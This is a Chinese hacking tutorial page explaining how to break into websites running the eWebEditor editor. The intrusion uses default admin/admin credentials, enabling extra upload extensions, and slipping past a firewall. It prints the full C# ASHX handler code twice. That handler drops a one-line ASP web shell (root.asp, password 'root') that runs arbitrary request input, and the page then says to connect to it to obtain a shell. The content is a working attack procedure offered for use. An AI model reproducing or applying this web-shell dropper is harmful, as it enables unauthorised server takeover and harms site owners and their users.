您现在的位置是:网站首页> 编程资料编程资料
ewebeditor 上传遇到防火墙限制的解决办法 图文_脚本攻防_网络安全_
2023-05-24
235人已围观
简介 ewebeditor 上传遇到防火墙限制的解决办法 图文_脚本攻防_网络安全_
这是一个eweb入口(废话)

<%@ WebHandler Language="C#" Class="Handler" %>
using System;
using System.Web;
using System.IO;
public class Handler : IHttpHandler {
public void ProcessRequest (HttpContext context) {
context.Response.ContentType = "text/plain";
StreamWriter file1= File.CreateText(context.Server.MapPath("root.asp"));
file1.Write("<%response.clear:execute request(\"root\"):response.End%>");
file1.Flush();
file1.Close();
}
public bool IsReusable {
get {return false; }
}
}
然后直接访问它。。

用默认帐户密码admin admin进入
样式添加asa扩展名
直接上传asp马
到这里都是顺利的,但是。。当你访问马的时候。。
试过了小马,一句话,会出现同样的问题
解决方法:
在样式添加里加上扩展名ashx
创建一个1.ashx的文件, 上传,代码如下:
复制代码
代码如下:<%@ WebHandler Language="C#" Class="Handler" %>
using System;
using System.Web;
using System.IO;
public class Handler : IHttpHandler {
public void ProcessRequest (HttpContext context) {
context.Response.ContentType = "text/plain";
StreamWriter file1= File.CreateText(context.Server.MapPath("root.asp"));
file1.Write("<%response.clear:execute request(\"root\"):response.End%>");
file1.Flush();
file1.Close();
}
public bool IsReusable {
get {return false; }
}
}
它会在当前目录生成一个root.asp的一句话木马,密码为root
然后连接一句话木马就可以啦~~
拿到shell
相关内容
- 用JavaScript防止网站被挂IFRAME木马的方法_脚本攻防_网络安全_
- 防止网站被JS,iframe挂马的防范方法_脚本攻防_网络安全_
- 脚本入侵-上传漏洞总结篇(臭小子)_脚本攻防_网络安全_
- 脚本入侵 ASP网站入侵常用的一些技巧分享_脚本攻防_网络安全_
- 脚本入侵 入侵ewebeditor编辑器一些技巧_脚本攻防_网络安全_
- PHP 双字节、宽字节编码漏洞_脚本攻防_网络安全_
- PHP+MySQL手工注入语句大全 MySQL手工注入语句总结_脚本攻防_网络安全_
- PHP Mysql 密码暴力破解代码,本机暴力破解 3306 端口_脚本攻防_网络安全_
- 设置.net1.1 .net2.0安全 防止iisspy 防止aspx木马等_脚本攻防_网络安全_
- MSSQL 2005 入侵提权过程分享_脚本攻防_网络安全_
点击排行
本栏推荐
-
魔兽世界tbc猎人语音提示wa 包括技能cd/宠物生命/龙脊触发/仇恨嗜血等_网络游戏_游戏攻略_
-
魔兽世界TBC怀旧服星术师治疗宏 支持一键给BOSS目标加血(附wa字符串)_网络游戏_游戏攻略_
-
魔兽世界tbc增强萨傻瓜式监控wa 支持显示图腾/风怒攻击内置CD/特效等_网络游戏_游戏攻略_
-
魔兽世界tbc实时监控游戏内界面延迟和FPS字符串 解决系统自带无法实时问题_网络游戏_游戏攻略_
-
魔兽世界TBC怀旧服瓦斯琪如何开荒 瓦斯琪黑科技打法汇总_网络游戏_游戏攻略_
-
魔兽世界tbc怀旧服团队技能CD监控wa 支持自定义添加技能_网络游戏_游戏攻略_
-
魔兽世界TBC快速找出小队成员避免吃不到图腾wa 姓名版找人字符串_网络游戏_游戏攻略_
猜你喜欢
- 魔兽世界tbc猎人语音提示wa 包括技能cd/宠物生命/龙脊触发/仇恨嗜血等_网络游戏_游戏攻略_
- 魔兽世界TBC怀旧服星术师治疗宏 支持一键给BOSS目标加血(附wa字符串)_网络游戏_游戏攻略_
- 魔兽世界tbc增强萨傻瓜式监控wa 支持显示图腾/风怒攻击内置CD/特效等_网络游戏_游戏攻略_
- 魔兽世界tbc实时监控游戏内界面延迟和FPS字符串 解决系统自带无法实时问题_网络游戏_游戏攻略_
- 魔兽世界TBC怀旧服瓦斯琪如何开荒 瓦斯琪黑科技打法汇总_网络游戏_游戏攻略_
- 魔兽世界tbc怀旧服团队技能CD监控wa 支持自定义添加技能_网络游戏_游戏攻略_
- 魔兽世界TBC快速找出小队成员避免吃不到图腾wa 姓名版找人字符串_网络游戏_游戏攻略_